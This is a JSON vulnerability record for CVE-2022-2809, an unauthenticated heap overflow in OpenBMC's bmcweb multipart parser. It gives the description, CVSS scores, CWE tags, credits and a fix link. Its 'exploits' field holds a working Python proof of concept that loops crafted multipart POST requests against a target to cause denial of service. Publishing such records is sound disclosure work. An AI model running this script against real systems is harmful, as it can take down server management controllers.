{"dataType": "CVE_RECORD", "dataVersion": "5.0", "cveMetadata": {"state": "PUBLISHED", "cveId": "CVE-2022-2809", "assignerOrgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514", "assignerShortName": "OpenBMC", "datePublished": "2022-10-07T00:00:00", "dateUpdated": "2022-10-27T00:00:00", "dateReserved": "2022-08-13T00:00:00"}, "containers": {"cna": {"title": "Unauthenticated out of bounds heap write in bmcweb", "datePublic": "2022-10-07T00:00:00", "providerMetadata": {"orgId": "7eaec9cd-e18a-43f9-bb90-5f82d308c514", "shortName": "OpenBMC", "dateUpdated": "2022-10-27T00:00:00"}, "descriptions": [{"lang": "en", "value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."}], "affected": [{"vendor": "OpenBMC Project", "product": "OpenBMC", "versions": [{"version": "2.10", "status": "affected", "lessThan": "Release*", "versionType": "custom", "changes": [{"at": "2.13", "status": "unaffected"}]}]}], "references": [{"url": "https://github.com/openbmc/bmcweb"}], "credits": [{"lang": "en", "value": "Finder: Jakub Rozanski, Intel Corporation"}, {"lang": "en", "value": "Remediation: Krzysztof Grobelny, Intel Corporation"}], "metrics": [{"cvssV3_1": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH", "baseScore": 8.2, "baseSeverity": "HIGH"}}], "problemTypes": [{"descriptions": [{"type": "CWE", "lang": "en", "description": "CWE-229: Improper Handling of Values", "cweId": "CWE-229"}]}, {"descriptions": [{"type": "CWE", "lang": "en", "description": "CWE-122: Heap-based Buffer Overflow", "cweId": "CWE-122"}]}], "x_generator": {"engine": "Vulnogram 0.0.9"}, "source": {"discovery": "INTERNAL"}, "exploits": [{"lang": "en", "value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: <HOST-IP-ADDR-HERE>:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode('utf-8'))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\"\n"}], "solutions": [{"lang": "en", "value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796"}]}}}

{"configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*", "matchCriteriaId": "A97D389D-CCB5-42DF-BB5F-BD62F4DF4A11", "versionEndIncluding": "2.13.0", "versionStartIncluding": "2.10.0", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "descriptions": [{"lang": "en", "value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."}, {"lang": "es", "value": "Una vulnerabilidad en bmcweb del OpenBMC Project permite al usuario provocar una denegaci\u00f3n de servicio. Al difuminar el c\u00f3digo multipart_parser usando AFL++ con el sanitizador de direcciones habilitado para encontrar las corrupciones de memoria m\u00e1s peque\u00f1as posibles. Se detect\u00f3 un problema en c\u00f3mo multipart_parser maneja los encabezados http no cerrados. Si se pasa un encabezado http lo suficientemente largo en formato de varias partes sin dos puntos, se sobrescribe un byte en la memoria. Se puede realizar varias veces en un bucle para provocar DoS."}], "id": "CVE-2022-2809", "lastModified": "2022-10-31T12:32:47.707", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.2, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 4.2, "source": "openbmc-security@lists.ozlabs.org", "type": "Secondary"}]}, "published": "2022-10-27T13:15:09.633", "references": [{"source": "openbmc-security@lists.ozlabs.org", "tags": ["Product", "Third Party Advisory"], "url": "https://github.com/openbmc/bmcweb"}], "sourceIdentifier": "openbmc-security@lists.ozlabs.org", "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-787"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-229"}], "source": "openbmc-security@lists.ozlabs.org", "type": "Secondary"}]}

{}